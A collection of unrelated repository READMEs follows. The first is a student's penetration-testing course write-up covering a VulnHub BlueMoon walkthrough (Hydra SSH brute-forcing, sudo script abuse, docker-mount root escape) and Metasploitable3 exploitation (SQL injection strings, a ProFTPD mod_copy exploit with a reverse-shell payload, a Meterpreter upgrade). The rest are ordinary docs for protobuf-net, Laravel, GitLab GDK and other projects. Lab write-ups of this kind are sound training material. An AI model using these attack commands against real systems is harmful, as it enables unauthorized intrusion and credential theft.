    ```
    [DATA] max 4 tasks per 1 server, overall 4 tasks, 32 login tries (l:1/p:32), ~8 tries per task
    [DATA] attacking ssh://<IP_ADDRESS>:22/
    [22][ssh] host: <IP_ADDRESS>   login: robin   password: k4rv3ndh4nh4ck3r
    1 of 1 target successfully completed, 1 valid password found
    Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-04-13 05:43:04
    ```

- I logged in and tried sudo

    ```
    sudo -l
    ```

- I tells me to run script as jerry

    ```
    Matching Defaults entries for robin on bluemoon:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

    User robin may run the following commands on bluemoon:
    (jerry) NOPASSWD: /home/robin/project/feedback.sh
    ```

- I run the script as jerry

    ```
    sudo -u jerry /home/robin/project/feedback.sh
    ```

- I type bash in the feedback field giving me access to console as jerry

  ```
  whoami
  jerry
  ```

- I didn't know what to do now, but the article helped me further
- as Jerry had docker privileges, we could run alpine container in interactive shell and mount / to /mnt, giving access to root

    ```
    docker run -it --rm -v /:/mnt alpine

    whoami
    root

    ls /mnt/root
    root.txt

    cat root.txt

    ==> Congratulations <==

    You Reached Root...!

    Root-Flag
    ```

- This was fun exercise and I definitely learned something new!

---

## d) Install and hack Metasploitable3

- I created development setup on Vagrant, which has Metasploitable3(<IP_ADDRESS>) and Kali(<IP_ADDRESS>) instances, see [Vagrnantfile](../Vagrantfile)
- I logged into Kali machine and initiated the Metasploit database

    ```
    sudo msfdb init
    ```

- Then logged into Metasploit console

    ```
    sudo msfconsole
    ```

- created a workspace for me

    ```
    workspace -a h2-b
    ```

- then I started poking the Metasploitable instance with NMAP

    ```
    nmap -sV <IP_ADDRESS>
    ```

- I noticed the open http port 80 and was curious about

    ```
    nmap -sV <IP_ADDRESS> -p 80
    ```

- It tells me that the server is running Apache httpd 2.4.7.
- Decided to take a look in the webpage by opening the http://<IP_ADDRESS>:80 in browser
- I noticed the payroll_app.php and clicked that
- It took me into login page and I just tried the first username and password combination(admin / admin), that came to my mind and it worked, but there was nothing, so I wanted to try another approach by using SQL injection
- I got in with ' or 'a' = 'a user and pass combination. There were salaries of Star Wars characters, which was not that interesting, so decided to try and see, if I can get more information from the database
- I queried all information from users table, and it got me all passwords and usernames

    ```
    ' OR 1=1; select * from users#
    ```

- SSH to the machine worked with the first user and password combination I tried and the user had sudo, so I got root already
- I wanted to try another approach, so I wanted to try the ftp server

    ```
    search ProFTPD 1.3.5
    ```

- Found an excellent exploit for that and checked, that the service is vulnerable for that exploit

    ```
    use exploit/unix/ftp/proftpd_modcopy_exec
    check
    ```

- Target was vulnerable so I needed to set options and run the exploit

    ```
    show options
    set SITEPATH /var/www/html
    set payload cmd/unix/reverse_python
    exploit
    ```

- I got reverse shell in the system, but I wanted to upgrade the shell to Meterpreter

    ```
    search shell_to_meterpreter
    use 0
    set LPORT 8080
    set SESSION 1
    exploit
    sessions 2
    ```

- now I had Meterpreter shell and working with the target was easier
- I browsed the html directory and found phpmyadmin/config.inc.php, which contained credentials to phpmyadmin and they worked

## References

- [terokarvinen.com, ICT4TN027-3005](https://terokarvinen.com/2021/hakkerointi-kurssi-tunkeutumistestaus-ict4tn027-3005/)
- [Lockheedmartin, Intel Driven Defense](https://lockheedmartin.com/content/dam/lockheed-martin/rms/documents/cyber/LM-White-Paper-Intel-Driven-Defense.pdf)
- [Jaswal, N., 2016. Mastering Metasploit, Chapter 1](https://learning.oreilly.com/library/view/mastering-metasploit-/9781838980078/B15076_01_Final_ASB_ePub.xhtml#_idParaDest-30)
- [Hydra, Bruteforce tool](https://github.com/vanhauser-thc/thc-hydra)
- [zxing.org, Decode images to text](https://zxing.org/w/decode.jspx)
- [blog post](http://vxer.cn/?id=66)
- [VulnHub, BlueMoon](https://www.vulnhub.com/entry/bluemoon-2021,679/)
- [ahlrothanton, Vagrantfile](https://github.com/ahlrothanton/ict4tn027-3005/blob/main/Vagrantfile)


text:
# Working with .proto files with protobuf-net and protobuf-net.BuildTools

protobuf-net originated as a code-first tool, but sometimes you're working with contract-first .proto files instead, whether because
the schemas are supplied externally, or because you want to ensure that your schemas are as suitable as they can be for cross-platform usage.

`protobuf-net.BuildTools` is the most convenient way to integrate .proto files with your build process, using the SDK from .NET 5 and the
new "generators" feature of Roslyn.

All you need to do is:

- add your .proto file (which is just a text file) to your project
- make the file available to generators:
  - in Visual Studio, change the "Build Action" of the file to "C# analyzer additional file", or (equivalently)
  - in the .csproj, declare the item as `<AdditionalFiles Include="your.proto" />`
- add the `protobuf-net.BuildTools` tool:
  - in the .csproj, add (using the most recent version) `<PackageReference Include="protobuf-net.BuildTools" Version="3.0.86" PrivateAssets="all" IncludeAssets="runtime;build;native;contentfiles;analyzers;buildtransitive" />`

Now, when you build your project - whether in the IDE, or at the command-line - the `protobuf-net.BuildTools` utility generates the C# for your types *on the fly*, and generates the required code - without you needing
to worry about how to configure it. For example:

- the tool knows what C# language version you are using, so you don't need to tell the tool
- the tool can see whether you're making use of `protobuf-net.Grpc` or `System.ServiceModel.Primitives`, and enable support for gRPC services automatically
- schema imports are automatically resolved relative to your files

So you just use the types as though they existed - they will show in the IDE with all the expected properties etc, *just as if they were C# files*. Because they now *are*.

A range of common `import` files (for example all of the `google/protobuf/*.proto` files) are included in the utility as resources, and do not need to be included in your project *unless* you want to
change the version/contents from the copy baked into the tool. Normally, standard imports should **just work**.

## Additional options

Additional configuration options can be specified at attributes against each `<AdditionalFiles>` node, to fine tune your options; this is very similar to the options available with the command-line tools:

- `ImportPaths` - specifies a comma delimited list of additional import locations; usually this isn't required, as schemas are resolved relative to each file; this is resolved relative to the current file, and
  can indicate "upwards" locations like `../..` - but the actual lookup happens *purely* within the virtual file system of `<AdditionalFiles>` nodes - it does not allow external file access
   - as an example of when this is useful, consider [`type.proto`](https://github.com/protocolbuffers/protobuf/blob/master/src/google/protobuf/type.proto), which has an import of `google/protobuf/any.proto`, which is actually
     in the **same folder**; adding `ImportPaths="../../"` means that `../../google/protobuf/any.proto` will successfully resolve back to the same location
- `LangVersion` - explicitly specifies a language version to use; this is not usually required, as the project's language version is assumed
- `ListSet` - controls whether list members should have `set` access
- `Names` - controls the name-normalizer rules to use
- `OneOf` - controls how `oneof` elements are handled (`enum` adds an enum discriminant)
- `Package` - overrides the namespace to use for the code (which is *broadly speaking* a "package" in .proto terms)
- `Services` - controls whether to generate services (this is defaulted based on your project references)
- `NullWrappers` - controls whether wrappers.proto should be generated as C# nullable types (int?)
- `CompatLevel` - controls whether well-known types should be marked with CompatibilityLevel instead of DataFormat
- `NullableValueType` - use `int?` etc for optional value types
- `RepeatedAsList` - use `List<T>` etc instead of `T[]` for *all* collections (i.e. including primitives)
- `IncludeInOutput` - controls whether the file is included in the output; this can be useful for adding a file to the virtual file system for importing without generating code as it might be generated elsewhere

## That doesn't work for you?

protobuf-net also provides:

- [protobuf-net.Protogen](https://www.nuget.org/packages/protobuf-net.Protogen/), a .NET Global Tool for command-line usage
- [https://protogen.marcgravell.com/](https://protogen.marcgravell.com/) - an online version of the same
- [protobuf-net.MSBuild](https://www.nuget.org/packages/protobuf-net.MSBuild/) - a ".targets" based way of integrated protobuf-net's tools into the build
- `protogen` - a standalone executable version of the same tools

All of these tools can be awkward, brittle, and non-obvious.

repository: protobuf-net/protobuf-net

gha_language: C#

repo_name: protobuf-net/protobuf-net


text:
# EasyLaravel
 The easiest way to setup a development environment for Laravel Framework.

## Requirements
You need the Docker.
```
curl -sSL https://get.docker.com | sudo sh
```

## 1. Laravel command-line interface
Create your application dir. Change `~/myapp_dir/www` for your Laravel application dir.

```
mkdir -p ~/myapp_dir/www
sudo chown -R 1000.1000 ~/myapp_dir/www
```

Enter on container with Laravel CLI and create an new project.

```
docker run -v ~/myapp_dir/www:/app -p 8000:8000 --rm -it thenets/easylaravel /bin/bash
composer global require "laravel/installer"
laravel new blog
```

## 2. Start Server
```
docker run -v ~/myapp_dir/www:/app -p 8000:8000 --rm -it thenets/easylaravel php artisan serve
```

repository: thenets/EasyLaravel

repo_name: thenets/EasyLaravel


text:
[![Build Status](https://travis-ci.org/vmw-tmpst/mbaas-pushnetwork.png?branch=master)](https://travis-ci.org/vmw-tmpst/mbaas-pushnetwork)

#Push Network

Push Network sends push notifications to mobile devices. It performs the similar functionalities as Google Cloud Messaging service.

#How to Run

##Start locally for development

You need `node-foreman` for easily managing all the services with one command:

```bash
npm install foreman -g
```

Then launch in one command:

```bash
nf start -p 10080
```

To launch multiple instances of Push Worker:

```bash
nf start worker=5 -p 10080
```

It will starts 5 Push Worker instances listening from 10280 to 10284.

##Environments for different storage configuration

###MongoDB+RedisCache

This is the default configuration

```bash
DB_CONN=cached:redis://localhost/1,mongodb://localhost/pushnetwork \
nf start -p 10080
```

###MongoDB

```bash
DB_CONN=mongodb://localhost/pushnetwork \
nf start -p 10080
```

###Persistent Redis

```bash
DB_CONN=redis://localhost \
nf start -p 10080
```

#License

Apache License 2.0

repository: mehulsbhatt/mbaas-pushnetwork

repo_name: mehulsbhatt/mbaas-pushnetwork


text:
<category:variables> <category:predefined> [category:local
variables](category:local_variables "wikilink") <category:internal>

[**Up to Local Variables**](Local_variables "wikilink")

------------------------------------------------------------------------

Definition
----------

**INT** father

**Father** is a predefined [local variable](local_variable "wikilink").
**Father** holds the [ProcessID](ProcessID "wikilink") of the
[process](process "wikilink")/[function](function "wikilink") that
called the current
[process](process "wikilink")/[function](function "wikilink"). There are
several other local variables which refer to the ProcessID of a related
process:

-   [Son](Son "wikilink")
-   [Bigbro](Bigbro "wikilink")
-   [Smallbro](Smallbro "wikilink")

Example
-------

    Program example;
    Begin
        first_process();
        Loop
            frame;
        End
    End

    Process first_process()  // Declaration of the first process
    Begin
        second_process();  // Call the second process
        Loop
            frame; // This loop makes "first_process()" a process rather than a function
        End
    End

    Process second_process()  //declaration of another process
    Begin
        x = father.x; // These two lines use the father variable to move this process
        y = father.y; // to the position of first_process, as the father variable here
                      // holds the ProcessID of "first_process()"
        Loop
            frame;
        End
    End

Used in example: [process](process "wikilink"),
[function](function "wikilink"), [processID](processID "wikilink")

repository: DivHub/pixtudio-website

repo_name: DivHub/pixtudio-website


text:
# Configure and use SSH in GDK

GitLab can provide access to its repositories over SSH instead of HTTPS. There
are two ways to enable this in GDK. Either:

- Run the `gitlab-sshd` binary provided by [GitLab Shell](https://gitlab.com/gitlab-org/gitlab-shell).
  Using `gitlab-sshd` is better for multi-host deployments like GitLab.com and
  development environments.
- Integrate GitLab Shell with [OpenSSH](https://openssh.org). Because integrating
  with OpenSSH allows GitLab to provide its services on the same port as the system's
  SSH daemon, this is preferred option for most single-host deployments of GitLab.

GDK enables the first option by default. Only engineers working on the GitLab
OpenSSH integration need to use the second option.

## Change the listen port or other configuration

Copy lines into your `<gdk-root>/gdk.yml` file from `<gdk-root>/gdk.example.yml`,
and adjust as needed. For example, to change the listen port to `2223`:

1. Add the following to your `<gdk-root>/gdk.yml` file:

   ```yaml
   ---
   sshd:
     listen_port: 2223
   ```

1. Run `gdk reconfigure` to configure the `sshd` service.

1. Run `gdk restart` to restart the modified services.

Note that some settings apply:

- Only to `gitlab-sshd` mode:
  - `additional_config`
  - `authorized_keys_file`
  - `bin`
- Only to `gitlab-sshd` mode:
  - `proxy_protocol`
  - `web_listen`

To switch from `gitlab-sshd` to OpenSSH, follow the
instructions under [OpenSSH integration](#openssh-integration).

### Optional: Use privileged port

On UNIX-like systems, only root users can bind to ports up to `1024`. If want GDK to run SSH
on, for example, port `22`, you can provide it the necessary privileges with the following
command:

```shell
sudo setcap 'cap_net_bind_service=+ep' gitlab-shell/bin/gitlab-sshd
```

## Try it out

You can check that SSH works by cloning any project (for example, `Project.first.ssh_url_to_repo`).
This also updates your `known_hosts` file.

## OpenSSH integration

In general, we recommend that you use `gitlab-sshd`. If you want to work on the
GitLab OpenSSH integration specifically, you can switch to it:

1. Add the following to your `<gdk-root>/gdk.yml` file:

   ```yaml
   ---
   sshd:
     use_gitlab_sshd: false
   ```

1. Run `gdk reconfigure` to switch from `gitlab-sshd` to OpenSSH.

1. Run `gdk restart` to restart the modified services.

You should now have an unprivileged OpenSSH daemon process running on
`<IP_ADDRESS>:2222`, integrated with `gitlab-shell`.

In unprivileged mode, OpenSSH can't change users, so you'll have to connect to
it using your system username, rather than `git`. The Rails web interface will
list the correct username whenever it gives you an example command, but you may
have to use `git remote set-url` in any repositories you have already cloned
from the instance to update them.

### SSH key lookup from database

For more information, see the
[official documentation](https://docs.gitlab.com/ee/administration/operations/speed_up_ssh.html#the-solution).
The `gitlab-sshd` approach uses SSH key lookup from database automatically, but
when using OpenSSH instead, a few more steps are required.

We'll create a wrapper script to invoke
`<gdk-root>/gitlab-shell/bin/gitlab-shell-authorized-keys-check`. This wrapper is useful
because the file invoked by `AuthorizedKeysCommand`, and all of its parent directories,
*must* be owned by `root`. We'll place the wrapper script in `/opt/gitlab-shell` as an
example, but it can be placed in any directory which is owned by `root` and whose parent
directories are also owned by `root`.

1. Create a file at `/opt/gitlab-shell/wrap-authorized-keys-check` with the following
   contents, making sure to replace `<gdk-root>` with the actual path:

   ```shell
   #!/bin/bash

   <gdk-root>/gitlab-shell/bin/gitlab-shell-authorized-keys-check "$@"
   ```

1. Make the script owned by root:

   ```shell
   sudo chown root /opt/gitlab-shell/wrap-authorized-keys-check
   ```

1. Make the script executable:

   ```shell
   sudo chmod 755 /opt/gitlab-shell/wrap-authorized-keys-check
   ```

1. Make OpenSSH check for authorized keys using `wrap-authorized-keys-check`. Add the
   following configuration in your `<gdk-root>/gdk.yml` file:

   ```yaml
   ---
   sshd:
     enabled: true
     additional_config: |
       Match User <GDK user> # Apply the AuthorizedKeysCommands to the git user only
         AuthorizedKeysCommand /opt/gitlab-shell/wrap-authorized-keys-check <GDK user> %u %k
         AuthorizedKeysCommandUser <GDK user>
       Match all # End match, settings apply to all users again
   ```

   `GDK user` should be the user that is running your GDK. This is probably your local
   username. You can double check this by looking in
   `<gdk-root>/gitlab/config/gitlab.yml` for the value of `development.gitlab.user`
   (or `production.gitlab.user`), or check which username is returned by
   `Project.first.ssh_url_to_repo`.

repository: nberveiler/gitlab-development-kit

repo_name: nberveiler/gitlab-development-kit


text:
INSTALLATION
------------------------------------
1. Create new database
2. Import the install.sql file into created database
3. Copy config.ini.example.php to config.ini.php and fill in the options in this file

 USAGE
------------------------------------
There are 2 entry points:
* index.php - entry point for checkout. Your script (e-commerce shopping cart software or something else) should send the data to this script to create new order in "2checkout emulator".
* cp.php - admin back-end. Here you can see the orders list, manage the invoices of selected order and send new callback requests.

The simplified 2Checkout emulator was created in according to this guide https://www.2checkout.com/documentation/Advanced_User_Guide.pdf


text:
elapsedMillis
=============

- Jan 2017, updated to Libraries 2.0
- Adapted for Particle devices

Elapsed time types - for easy-to-use measurements of elapsed time
http://www.pjrc.com/teensy/
Copyright (c) 2011 PJRC.COM, LLC

These special variable types automatically increase as time elapses.
It's easy to check if a certain time has elapsed, while your program
performs other work or checks for user input. It is also very to handle
multiple tasks requiring different delays.

repository: pkourany/elapsedMillis

repo_name: pkourany/elapsedMillis


text:
# Pypop

`pypop` is a machine learning library for Python 3 focusing on learning the temporal dynamics of complex systems using temporal point processes. It compiles several types models and algorithms to learn the dynamics of diffusion of temporal point processes from observed data.

## Quick setup

To install the library
```
conda create -n env python=3.8
conda activate env
pip install Cython numpy  # Install prerequisites
pip install -e .  # Install internal lib
```

## Structure

The library consists of several modules:
- `models`: Implements several temporal point process models (Wold process, Hawkes process and Quantized-Hawkes process)
- `plotting`: Various plotting utility functions to monitor and assess the performance of the different algorithms
- `simulation`: Implements sampling algorithms to simulate realizations of the various temporal point process models
- `utils`: Utility functions used throughout the lib
- `fitter`: Implement several inference algorithms
- `priors`, `posteriors`: Implements probability distributions for Bayesian inference algorithms

repository: trouleau/pypop

repo_name: trouleau/pypop